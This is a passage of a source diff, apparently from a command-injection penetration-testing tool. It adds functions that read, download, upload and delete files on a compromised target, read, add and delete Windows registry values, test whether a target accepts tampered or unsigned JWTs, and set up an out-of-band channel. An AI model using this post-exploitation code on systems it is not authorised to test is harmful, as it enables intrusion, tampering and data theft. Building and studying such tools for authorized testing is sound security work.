else: + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + quoted_cmd(dest_to_write) + return cmd + +""" +Delete filename +""" +def delete_tmp(tmp_fname): + cmd = settings.WIN_DEL + tmp_fname.replace("\\","\\\\") + return cmd + +""" +Check if file exists. +""" +def check_file(remote_file_path): + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.FILE_LIST_WIN + remote_file_path.replace("\\","\\\\") + else: + cmd = settings.FILE_LIST + quoted_cmd(remote_file_path) + cmd = add_command_substitution(cmd) + return cmd + +""" +The '--common-files' candidate paths, filtered to the ones shaped for the target's own OS - a +drive-letter path is never tried on a Unix-like target, nor an absolute Unix one on Windows. +""" +def common_files_candidates(): + try: + with open(settings.COMMON_FILES_LIST, "r", encoding=settings.DEFAULT_CODEC) as candidates: + lines = [line.strip() for line in candidates if line.strip() and not line.startswith("#")] + except IOError: + return [] + if settings.TARGET_OS == settings.OS.WINDOWS: + return [path for path in lines if re.match(r"^[A-Za-z]:[\\/]", path)] + return [path for path in lines if path.startswith("/")] + +""" +Whether 'check_file()' says the path exists - 'Test-Path' answers in words ('True'/'False'), which +'if shell:' alone would read as existing either way, so the word itself is what is compared here. +""" +def path_exists_on_target(shell): + if settings.TARGET_OS == settings.OS.WINDOWS: + return str(shell).strip() == "True" + return bool(shell) + +""" +Report the '--common-files' findings. +""" +def print_common_files(found, filename): + if found: + info_msg = "Found " + str(len(found)) + " common file" + ('s', '')[len(found) == 1] + " on the target:" + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for path in found: + file_line = "[*] '" + path + "'" + settings.print_data_to_stdout(file_line) + logs.add_line(filename, file_line, group="common-files") + logs.report_add_enumeration("common_files", path) + else: + info_msg = "None of the common files checked for were found on the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +Where in the request a token could be carried, each named as it is reported. Parameters first, then +the headers - the same order the token is looked for in. +""" +def _jwt_carriers(url): + return (("GET parameter", url, None), + ("POST parameter", menu.options.data, "data"), + ("Cookie parameter", menu.options.cookie, "cookie"), + ("'Host' header", menu.options.host, "host"), + ("'Referer' header", menu.options.referer, "referer"), + ("'User-Agent' header", menu.options.agent, "agent"), + ("'Authorization' header", menu.options.auth_cred, "auth_cred"), + ("extra header", menu.options.header, "header"), + ("extra header", menu.options.headers, "headers")) + +""" +The name of the parameter carrying this token, where it rides in one written 'name=value'. +""" +def _jwt_parameter(value, token): + value = value or "" + # A URL carries its parameters after the '?', and everything before it is not one of them. + if "?" in value: + value = value.split("?", 1)[1] + for pair in re.split(r"[&;]", value): + name, separator, carried = pair.strip().partition("=") + if separator and token in carried: + return name.strip() + return None + +""" +The first token the request carries, with where it was found and the parameter carrying it. +""" +def _locate_jwt(url): + for where, value, option in _jwt_carriers(url): + for token in jwt_audit.find(value): + return where, token, _jwt_parameter(value, token), option + return None, None, None, None + +""" +The page the target answers with when the token is this one, or None where the request did not come +back. The carrier is put back exactly as it was either way - every other check reads it afterwards. +""" +def _jwt_page(url, http_request_method, option, token, replacement): + from src.core.requests import requests + restore = getattr(menu.options, option) if option else None + try: + if option: + setattr(menu.options, option, str(restore).replace(token, replacement)) + target = url + else: + target = url.replace(token, replacement) + response = requests.crawler_request(target, http_request_method) + if response is None or isinstance(response, bool): + return None + return decode_page_body(response.read(), response) + except Exception: + return None + finally: + if option: + setattr(menu.options, option, restore) + +""" +A way to tell a token the target accepted from one it refused, or None where it answers both alike. + +Asked with something that is not a token at all, rather than with a token whose signature is wrong: +a target that refuses the first but takes the second is exactly the target worth reporting, and +building the oracle out of a wrong signature would have called that target indistinguishable and +said nothing about it. What this separates is a target that gates on the token from one that never +reads it - and only where it does gate can an answer below mean anything. +""" +def _jwt_oracle(url, http_request_method, option, token): + accepted = _jwt_page(url, http_request_method, option, token, token) + if accepted is None: + return None + refused = _jwt_page(url, http_request_method, option, token, settings.JWT_NON_TOKEN) + if refused is None: + return None + if comparable_page(accepted) == comparable_page(refused): + return None + return comparable_page(accepted) + +""" +Emit findings most-severe first. A finding that names something worth testing is marked a candidate, +one read straight off the token is marked confirmed - and only a real weakness is a warning. +""" +def _report_jwt(findings, filename): + if not findings: + info_msg = "No JSON Web Token weaknesses found." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return + + for finding_id, severity, summary, detail in sorted(findings, key=lambda _: jwt_audit.SEVERITY_RANK.get(_[1], 9)): + marker = "candidate" if finding_id in jwt_audit.CANDIDATES else "confirmed" + message = "JWT " + marker + " [" + severity + "]: " + summary + " (" + detail + ")." + if severity == "info": + settings.print_data_to_stdout(settings.print_info_msg(message)) + else: + settings.print_data_to_stdout(settings.print_warning_msg(message)) + logs.add_line(filename, message, group="jwt") + +""" +Say once that the request carries a token, without being asked to look - the switch that examines it +properly is named rather than assumed, so a run nobody asked for stays to a line. +""" +def jwt_heuristic(url, filename): + if settings.JWT_CHECKED or menu.options.jwt: + return + settings.JWT_CHECKED = True + + where, token, _parameter, _option = _locate_jwt(url) + if not token: + return + + info_msg = "Heuristic (JWT) test shows that the request carries a JSON Web Token (re-run with the '--jwt' switch)." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + for _, severity, summary, detail in jwt_audit.audit(token): + message = "JWT weakness (" + severity + "): " + summary + "." + settings.print_data_to_stdout(settings.print_info_msg(message)) + logs.add_line(filename, message, group="jwt") + +""" +Report what the request's own token declares, read from the request as it stands and answered +offline. Where it names a 'kid', the parameter carrying it is then marked so the run tests that +field - nothing is signed for that, the token is rebuilt around each payload as it arrived. +""" +def scan_jwts(url, filename, http_request_method=settings.HTTPMETHOD.GET): + where, token, parameter, option = _locate_jwt(url) + if not token: + warn_msg = "No JSON Web Token found in the request (looked in the GET/POST/cookie parameters and the HTTP headers)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return + + data = jwt_audit.parse(token) + info_msg = "Found a JSON Web Token in the " + where + " (algorithm '" + str(data["header"].get("alg") or "none") + "')." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + logs.add_line(filename, "JWT (" + where + "): " + token, group="jwt") + + findings = jwt_audit.audit(token) + + """ + What the target itself says about the token, which is the half the token cannot say on its own. + + A target that never reads the signature answers a broken one exactly as it answers the real one - + so the two are asked for, and where they come back alike there is no answer to read and nothing + below is concluded. Nothing is signed for any of this: a signature is made unusable or dropped. + """ + accepted = _jwt_oracle(url, http_request_method, option, token) + if accepted is None: + warn_msg = "The target answers the same whether the token is sent or not, so what it would make of a tampered one cannot be told apart (what the token itself declares still stands)." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + broken = _jwt_page(url, http_request_method, option, token, jwt_audit.break_signature(token)) + if broken is not None and comparable_page(broken) == accepted: + findings.append(("signature-not-verified", "critical", "the target accepts a token whose signature cannot be valid", + "its claims are taken as read, so any of them can be restated")) + unsigned = _jwt_page(url, http_request_method, option, token, jwt_audit.strip_signature(token)) + if unsigned is not None and comparable_page(unsigned) == accepted: + findings.append(("alg-none-accepted", "critical", "the target accepts an unsigned ('alg':'none') token", + "its claims are taken as read, so any of them can be restated")) + + _report_jwt(findings, filename) + + """ + A 'kid' named as worth testing is then actually tested, rather than left for the operator to wire + up by hand - the parameter carrying the token is marked as carrying its 'kid', so every technique + the run would use goes at that field with the rest of the token kept as it arrived. + """ + if "kid" in data["header"] and parameter and not named_encoding(parameter, token): + settings.PARAMETER_ENCODINGS[parameter] = settings.ENCODING_JWT_KID + info_msg = "Testing the '" + parameter + "' parameter as the token's 'kid' from here on." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + +""" +File content to read. +""" +def file_content_to_read(file_to_read=None): + file_to_read = file_to_read or menu.options.file_read + info_msg = "Fetching the contents of the file '" + info_msg += file_to_read + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_READ + file_to_read.replace("\\","\\\\") + else: + if settings.EVAL_BASED_STATE: + cmd = "(" + settings.FILE_READ + file_to_read + ")" + else: + cmd = settings.FILE_READ + file_to_read + return cmd, file_to_read + +""" +Cheap pre-check for file existence/non-emptiness before full extraction. +""" +def file_readable(separator, timesec, http_request_method, url, vuln_parameter, whitespace, prefix, suffix, url_time_response, file_to_read, technique): + if settings.TARGET_OS == settings.OS.WINDOWS: + return True + if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: + payloads = time_based_payloads() + else: + payloads = tempfile_based_payloads() + payload = payloads.condition_check(separator, "-s " + file_to_read, timesec, http_request_method) + if payload is None: + return True + exec_time, _, _, _, _ = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + return time_related_shell(exec_time, timesec) + +""" +File read status +""" +def file_read_status(shell, file_to_read, filename): + if shell: + label = "File contents" + settings.print_data_to_stdout(settings.print_retrieved_data(label, shell)) + logs.add_line(filename, "Extracted content of the file '" + file_to_read + "': " + shell, group="file:" + file_to_read) + logs.report_add_file(file_to_read, shell) + else: + warn_msg = "Retrieved no content for the file '" + file_to_read + "'. " + warn_msg += "This could mean the file does not exist, is empty, or you do not have permission to read it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Build the final destination path for file write operations. +""" +def check_destination(destination, where=None): + where = where or menu.options.file_write + # Normalize path separators before splitting. + normalized = destination.replace("\\", "/") + # A destination with no trailing filename is a directory, so append the local filename. + if os.path.split(normalized)[1] == "": + resolved = os.path.split(normalized)[0].rstrip("/") + "/" + os.path.split(where)[1] + else: + resolved = destination + return resolved + +""" +Write the content of a local file to a remote destination. +""" +def check_file_to_write(file_to_write=None, dest=None): + file_to_write = file_to_write or menu.options.file_write + if not os.path.exists(file_to_write): + err_msg = "The specified local file '" + file_to_write + "' does not exist." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + + if os.path.isfile(file_to_write): + try: + with open(file_to_write, 'r', encoding=settings.DEFAULT_CODEC) as content_file: + content = content_file.read() + except (OSError, UnicodeDecodeError) as err: + err_msg = "Unable to read the local file '" + file_to_write + "' (" + str(err) + "). " + err_msg += "Note that '--file-write' does not support binary files." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + content = content.replace(settings.END_LINE.CRLF, settings.END_LINE.LF).replace(settings.END_LINE.CR, settings.END_LINE.LF) + if settings.TARGET_OS == settings.OS.WINDOWS: + import base64 + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() + else: + content = escape_file_content(content) + else: + warn_msg = "The specified path '" + file_to_write + "' is not a file." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + raise SystemExit() + + dest_to_write = check_destination(destination=dest or menu.options.file_dest, where=file_to_write) + info_msg = "Attempting to write the contents of file '" + info_msg += file_to_write + "' to the remote directory '" + dest_to_write + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return file_to_write, dest_to_write, content + +""" +Display the result of an attempted file write to the remote target. +""" +def file_write_status(shell, dest_to_write): + if shell and settings.INCOMPLETE_OUTPUT: + warn_msg = "The write to '" + dest_to_write + "' could not be verified - the confirmation " + warn_msg += "output came back incomplete." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + elif shell: + info_msg = "The file has been successfully created in remote directory: '" + dest_to_write + "'." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + return True + else: + warn_msg = "The file does not appear to exist in the remote directory '" + dest_to_write + "'. " + warn_msg += "This could mean the write failed, or you do not have permission to write to that directory." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + +""" +Remove a file '--cleanup' just confirmed this run wrote to the target, through the given +execute_cmd(cmd) -> output callback - called right after the write, not deferred. +""" +def cleanup_remote_file(execute_cmd, path): + info_msg = "Cleaning up the file written to '" + path + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_DEL + path.replace("\\", "\\\\") + else: + cmd = settings.DEL + quoted_cmd(path) + execute_cmd(cmd) + if path_exists_on_target(execute_cmd(check_file(path))): + warn_msg = "The file '" + path + "' still appears to exist on the target. Remove it by hand." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + info_msg = "The file '" + path + "' has been removed from the target." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + +""" +Write a local file to the target, through the given execute_cmd(cmd) -> output callback. +""" +def upload_file(execute_cmd, file_to_write, dest_to_write, content): + if settings.TARGET_OS == settings.OS.WINDOWS: + fname, tmp_fname, cmd = find_filename(dest_to_write, content) + execute_cmd(cmd) + execute_cmd(win_decode_b64_enc(fname, tmp_fname)) + execute_cmd(delete_tmp(tmp_fname)) + shell = execute_cmd(check_file(dest_to_write)) + else: + execute_cmd(write_content(content, dest_to_write)) + shell = execute_cmd(remove_command_substitution(check_file(dest_to_write))) + return file_write_status(shell, dest_to_write) + +""" +Read a file from the target, through the given execute_cmd(cmd) -> output callback. +""" +def download_file(execute_cmd, file_to_read, filename): + cmd, file_to_read = file_content_to_read(file_to_read) + shell = execute_cmd(remove_command_substitution(cmd)) + file_read_status(shell, file_to_read, filename) + return shell + +""" +Split an interactive "download"/"upload" command into its two path arguments. +""" +def shell_transfer_args(cmd, usage): + try: + args = shlex.split(cmd)[1:] + except ValueError: + args = cmd.split()[1:] + if len(args) != 2: + settings.print_data_to_stdout(settings.print_error_msg("Usage: " + usage)) + return None, None + return args[0], args[1] + +""" +Read a file from the target as base64, so its exact bytes survive the transfer - returns None +when the target cannot produce it (no "base64" available, unreadable file, ...). +""" +def download_file_bytes(execute_cmd, remote_file): + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_READ_B64 + remote_file.replace("\\", "\\\\") + "'))\"" + else: + cmd = settings.FILE_READ_B64 + quoted_cmd(remote_file) + encoded = execute_cmd(cmd) + if not encoded: + return None, False + try: + return base64.b64decode("".join(str(encoded).split()), validate=True), True + except Exception: + return None, True + +""" +A file's exact contents, fetched as base64 so that nothing the page does to whitespace can reach +them - or (None, False) where the target cannot produce it, leaving the plain read to be tried. + +Only where the whole answer arrives at once. A technique that reads a byte at a time pays for every +one of them, and base64 is a third longer than what it carries. +""" +def file_read_encoded(execute_cmd, file_to_read, technique=None): + # The one carrying this command, where the caller knows it. What is left in 'CURRENT_TECHNIQUE' + # is whichever was last announced while the parameter was being tested, which says nothing about + # what is running now - a read asked for after detection is carried by whichever technique was + # confirmed, and reading the wrong name here refuses the encoded form to a technique that can + # produce it, leaving the file to arrive through the page with its whitespace folded away. + technique = technique if technique is not None else settings.current_technique() + if technique not in (settings.INJECTION_TECHNIQUE.RESULTS_BASED, settings.INJECTION_TECHNIQUE.DYNAMIC_CODE): + return None, False + if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_READ_B64 + file_to_read.replace("\\", "\\\\") + "'))\"" + else: + cmd = settings.FILE_READ_B64 + quoted_cmd(file_to_read) + try: + encoded, fresh = execute_cmd(cmd) + except Exception: + return None, False + if not encoded: + return None, False + try: + content = base64.b64decode("".join(str(encoded).split()), validate=True) + except Exception: + return None, False + try: + return content.decode(settings.DEFAULT_CODEC), fresh + except UnicodeDecodeError: + return content.decode(settings.DEFAULT_CODEC, "replace"), fresh + +""" +Download a file from the target host to the local machine ("download "). +""" +def shell_download(execute_cmd, cmd, filename): + remote_file, local_file = shell_transfer_args(cmd, "download /path/to/remote/file /path/to/local/file") + if not remote_file: + return + if os.path.isdir(local_file): + local_file = os.path.join(local_file, os.path.basename(remote_file.replace("\\", "/").rstrip("/"))) + + if settings.TIME_RELATED_ATTACK: + # These techniques recover output character by character and report any they could not + # get, so base64 would turn a single missing character into a corrupt file - and cost a + # third more characters to extract. + warn_msg = "Recovering the output costs several requests per character, so this may take " + warn_msg += "a while and the file's original formatting is not preserved." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + text = download_file(execute_cmd, remote_file, filename) + if not text: + return + content = str(text).encode(settings.DEFAULT_CODEC, errors="replace") + else: + info_msg = "Fetching the contents of the file '" + remote_file + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + content, produced_output = download_file_bytes(execute_cmd, remote_file) + if content is None and produced_output: + err_msg = "The contents of '" + remote_file + "' could not be decoded, so the file was not written." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return + if content is None: + # No usable base64 on the target - a plain read costs one more request here. + text = download_file(execute_cmd, remote_file, filename) + if not text: + return + content = str(text).encode(settings.DEFAULT_CODEC, errors="replace") + + try: + with open(local_file, "wb") as output_file: + output_file.write(content) + except OSError as err: + err_msg = "Unable to write the local file '" + local_file + "' (" + str(err) + ")." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return + + logs.report_add_file(remote_file, local_file) + if settings.INCOMPLETE_OUTPUT: + err_msg = "The file '" + remote_file + "' was written to '" + local_file + "' (" + str(len(content)) + err_msg += " bytes) but is incomplete - the characters listed above are unresolved, and stand in it as '" + err_msg += settings.UNRESOLVED_CHAR + "'." + settings.print_data_to_stdout(settings.print_error_msg(err_msg)) + return + info_msg = "The file '" + remote_file + "' has been successfully downloaded to '" + local_file + info_msg += "' (" + str(len(content)) + " bytes)." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + +""" +Upload a file from the local machine to the target host ("upload "). +""" +def shell_upload(execute_cmd, cmd): + local_file, remote_file = shell_transfer_args(cmd, "upload /path/to/local/file /path/to/remote/file") + if not local_file: + return + try: + file_to_write, dest_to_write, content = check_file_to_write(local_file, remote_file) + except SystemExit: + return + upload_file(execute_cmd, file_to_write, dest_to_write, content) + +""" +Run the standard file-access checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own file-access entry point (see shellshock.py). +""" +def run_file_access(execute_cmd, filename): + ran = False + + if menu.options.file_write: + ran = True + file_to_write, dest_to_write, content = check_file_to_write() + written = upload_file(execute_cmd, file_to_write, dest_to_write, content) + if written and menu.options.cleanup: + cleanup_remote_file(execute_cmd, dest_to_write) + + if menu.options.file_read: + ran = True + download_file(execute_cmd, None, filename) + + if menu.options.common_files: + ran = True + candidates = common_files_candidates() + if candidates: + info_msg = "Checking for " + str(len(candidates)) + " common file" + ('s', '')[len(candidates) == 1] + " on the target." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + found = [path for path in candidates if path_exists_on_target(execute_cmd(check_file(path)))] + print_common_files(found, filename) + + if ran: + settings.FILE_ACCESS_DONE = True + +""" +Build the 'reg query' command for the key/value named with '--reg-key'/'--reg-value'. +""" +def registry_read_cmd(): + key = menu.options.reg_key + value = menu.options.reg_value + info_msg = "Fetching the registry value '" + value + "' of the key '" + key + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + cmd = settings.WIN_REG_QUERY + "\"" + key + "\" /v \"" + value + "\"" + return cmd, key, value + +""" +Pick the value's data out of 'reg query' output, which lists it alongside its type on the same line as the value's name. +""" +def registry_read_status(shell, key, value, filename, newline_first=False): + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + denied = shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED) + # 'reg' names a key or value it could not find, so where it said that, which of the two reasons + # applies was established and is not left to the reader to guess between. + missing = shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_VALUE_NOT_FOUND) + match = re.search(r"^\s*" + re.escape(value) + r"\s+(REG_\S+)\s+(.*?)\s*$", str(shell), re.MULTILINE) if shell else None + if match: + reg_type, data = match.group(1), match.group(2) + label = "Registry value" + settings.print_data_to_stdout(settings.print_retrieved_data(label, data)) + logs.add_line(filename, "Registry '" + key + "\\" + value + "' (" + reg_type + "): " + data, group="registry") + logs.report_add_enumeration("registry", {"key": key, "value": value, "type": reg_type, "data": data}) + elif denied: + warn_msg = "It seems you do not have permission to read the registry key '" + key + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif missing: + # Which of the two is absent is not said, because 'reg' does not say it either. + warn_msg = "The target has no registry key '" + key + "', or no value '" + value + "' under it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + warn_msg = "Retrieved no data for the registry value '" + value + "' of the key '" + key + "'. " + warn_msg += "This could mean the key/value does not exist, or you do not have permission to read it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Build the 'reg add' command for the key/value/data/type named with '--reg-key'/'--reg-value'/'--reg-data'/'--reg-type'. +""" +def registry_write_cmd(): + key = menu.options.reg_key + value = menu.options.reg_value + data = menu.options.reg_data + reg_type = menu.options.reg_type + info_msg = "Attempting to write the registry value '" + value + "' of the key '" + key + "'." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + cmd = settings.WIN_REG_ADD + "\"" + key + "\" /v \"" + value + "\" /t " + reg_type + " /d \"" + data + "\" /f" + return cmd, key, value + +""" +Display the result of an attempted registry write to the remote target. +""" +def registry_write_status(shell, key, value, newline_first=False): + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + if shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED): + warn_msg = "It seems you do not have permission to write to the registry key '" + key + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + elif shell and "operation completed successfully" in str(shell).lower(): + info_msg = "The registry value '" + value + "' has been successfully written to the key '" + key + "'." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + return True + else: + warn_msg = "The registry value '" + value + "' does not appear to have been written to the key '" + key + "'. " + warn_msg += "This could mean the write failed, or you do not have permission to write to that key." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + return False + +""" +Remove a registry value (or whole key) '--cleanup' just confirmed this run wrote to the target, +through the given execute_cmd(cmd) -> output callback - called right after the write, not deferred. +""" +def cleanup_registry_value(execute_cmd, key, value): + target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'" + info_msg = "Cleaning up the registry " + target + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + shell = execute_cmd(registry_delete_cmd_for(key, value)) + if shell and "operation completed successfully" in str(shell).lower(): + info_msg = "The registry " + target + " has been removed from the target." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "The registry " + target + " does not appear to have been removed. Remove it by hand." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +The 'reg delete' command for a given key, or the single value of it named by 'value'. +""" +def registry_delete_cmd_for(key, value): + cmd = settings.WIN_REG_DEL + "\"" + key + "\"" + # With no value named, 'reg delete' takes the bare key as the whole key to remove - '/va' would + # only clear its values and leave the key itself standing, which is not what "delete the key" means. + if value: + cmd += " /v \"" + value + "\"" + cmd += " /f" + return cmd + +""" +Build the 'reg delete' command for the key named with '--reg-key', or the single value named with '--reg-value'. +""" +def registry_delete_cmd(): + key = menu.options.reg_key + value = menu.options.reg_value + target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'" + info_msg = "Attempting to delete the registry " + target + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + return registry_delete_cmd_for(key, value), key, value + +""" +Display the result of an attempted registry deletion on the remote target. +""" +def registry_delete_status(shell, key, value, newline_first=False): + if settings.VERBOSITY_LEVEL == 0 and newline_first: + settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) + target = "value '" + value + "' of the key '" + key + "'" if value else "key '" + key + "'" + if shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_ACCESS_DENIED): + warn_msg = "It seems you do not have permission to delete the registry " + target + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + elif shell and "operation completed successfully" in str(shell).lower(): + info_msg = "The registry " + target + " has been successfully deleted." + settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + elif shell and any(phrase.lower() in str(shell).lower() for phrase in settings.REG_VALUE_NOT_FOUND): + # Nothing was deleted because there was nothing there, which the target said rather than left open. + warn_msg = "The target has no registry " + target + " to delete." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + else: + warn_msg = "The registry " + target + " does not appear to have been deleted. " + warn_msg += "This could mean it does not exist, or you do not have permission to delete it." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + +""" +Run the standard registry-access checks via the given execute_cmd(cmd) -> output callback - the shared logic behind any module's own registry-access entry point (see shellshock.py). +""" +def run_registry_access(execute_cmd, filename): + ran = False + + if settings.TARGET_OS != settings.OS.WINDOWS and (menu.options.reg_read or menu.options.reg_add or menu.options.reg_del): + warn_msg = "The registry access options only apply to a Windows target, so they are skipped here." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.REGISTRY_ACCESS_DONE = True + return + + if menu.options.reg_add: + ran = True + cmd, key, value = registry_write_cmd() + shell = execute_cmd(cmd) + written = registry_write_status(shell, key, value) + if written and menu.options.cleanup: + cleanup_registry_value(execute_cmd, key, value) + + if menu.options.reg_read: + ran = True + cmd, key, value = registry_read_cmd() + shell = execute_cmd(cmd) + registry_read_status(shell, key, value, filename) + + if menu.options.reg_del: + ran = True + cmd, key, value = registry_delete_cmd() + shell = execute_cmd(cmd) + registry_delete_status(shell, key, value) + + if ran: + settings.REGISTRY_ACCESS_DONE = True + +# Mark which HTTP header the payload is going into. +def define_vulnerable_http_header(http_header_name): + if http_header_name == settings.USER_AGENT.lower(): + settings.USER_AGENT_INJECTION = True + elif http_header_name == settings.REFERER.lower(): + settings.REFERER_INJECTION = True + elif http_header_name == settings.HOST.lower(): + settings.HOST_INJECTION = True + return http_header_name + +""" +Whether the target actually serves requests concurrently. Parallel timing requests that queue +behind each other make every response look delayed, which silently corrupts a retrieval. +""" +def target_serves_concurrently(url, http_request_method, workers): + try: + import concurrent.futures + except ImportError: + return False + sample = lambda _=None: requests.quick_response_time_sample(url, http_request_method) + # Opening the connections is paid for before either half is timed, so the half that runs second + # does not simply inherit what the first one warmed up. + for _ in range(2): + sample() + # Enough of them that the two halves differ by more than the cost of starting the workers: a + # handful of answers on a quick target is over in the time that costs on its own. + count = max(workers, settings.CONCURRENCY_PROBE_REQUESTS) + # Both halves are measured the same way, over the same number of requests. Timing one request and + # multiplying counts the cost of setting the others up as if it were the target's, which on a fast + # target is the larger half - and every such target then reads as one that answers them in turn. + start = time.time() + answered = [_ for _ in (sample() for _ in range(count)) if _ is not None] + one_after_another = time.time() - start + if not answered: + return True + start = time.time() + with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as executor: + list(executor.map(sample, range(count))) + all_at_once = time.time() - start + # Too quick either way to tell the two apart. Whether the answers can really be told apart under + # concurrency is settled later anyway, on payloads that carry a delay of their own. + if one_after_another < settings.CONCURRENCY_PROBE_FLOOR: + return True + return all_at_once < one_after_another * 0.5 + +""" +Decide whether persistent (Keep-Alive) connections are used. +""" +def init_keep_alive(): + reason = None + if menu.options.no_keep_alive: + settings.KEEP_ALIVE = False + return + if menu.options.http10: + reason = "the HTTP/1.0 protocol" + elif menu.options.chunked: + reason = "chunked transfer-encoding" + elif menu.options.proxy or menu.options.tor: + reason = "a proxy" + elif menu.options.auth_cred and menu.options.auth_type and menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: + reason = "digest authentication" + + settings.KEEP_ALIVE = reason is None + if reason and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Persistent (Keep-Alive) connections were disabled (incompatible with " + reason + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + +""" +Bring the out-of-band channel up, once, on first use. +""" +def init_oob_channel(): + if settings.OOB_CHANNEL is not None: + return settings.OOB_CHANNEL + settings.OOB_SERVER = menu.options.oob_server or "" + settings.OOB_TOKEN = menu.options.oob_token or "" + if menu.options.oob_transport: + from src.core.techniques.oob import oob_payloads as oob_payloads + transport = str(menu.options.oob_transport).strip().lower() + known = oob_payloads.WINDOWS_TRANSPORTS if settings.TARGET_OS == settings.OS.WINDOWS else oob_payloads.UNIX_TRANSPORTS + if transport not in known: + err_msg = "The option '--oob-transport' takes one of: " + ", ".join("'" + _ + "'" for _ in known) + "." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + settings.OOB_TRANSPORT = transport + for option, attribute in (("--oob-timeout", "OOB_TIMEOUT"), ("--oob-poll", "OOB_POLL_INTERVAL")): + value = menu.options.oob_timeout if attribute == "OOB_TIMEOUT" else menu.options.oob_poll + try: + value = int(value) + except (TypeError, ValueError): + value = 0 + if value < 1: + err_msg = "The option '" + option + "' must be a positive integer number of seconds." + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit(settings.EXIT_FAILURE) + setattr(settings, attribute, value) + + # A wait can only observe an interaction if a poll falls inside it, after the interaction lands. + # Polling no more often than the wait would leave that to chance, and a missed one is not a slow + # result but a lost finding - '--smart' drops the parameter on a negative heuristic. + if settings.OOB_POLL_INTERVAL * 2 > settings.OOB_TIMEOUT: + adjusted = max(1, settings.OOB_TIMEOUT // 2) + if adjusted != settings.OOB_POLL_INTERVAL: + warn_msg = "Polling every " + str(settings.OOB_POLL_INTERVAL) + " second" + warn_msg += "s"[settings.OOB_POLL_INTERVAL == 1:] + warn_msg += " is too seldom for a " + str(settings.OOB_TIMEOUT) + "-second wait, so " + warn_msg += "interactions could be missed. Polling every " + str(adjusted) + " second" + warn_msg += "s"[adjusted == 1:] + " instead." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + settings.OOB_POLL_INTERVAL = adjusted + + from src.core.oob import provider + channel = provider.build() + try: + channel.start() + except SystemExit: + raise + except Exception 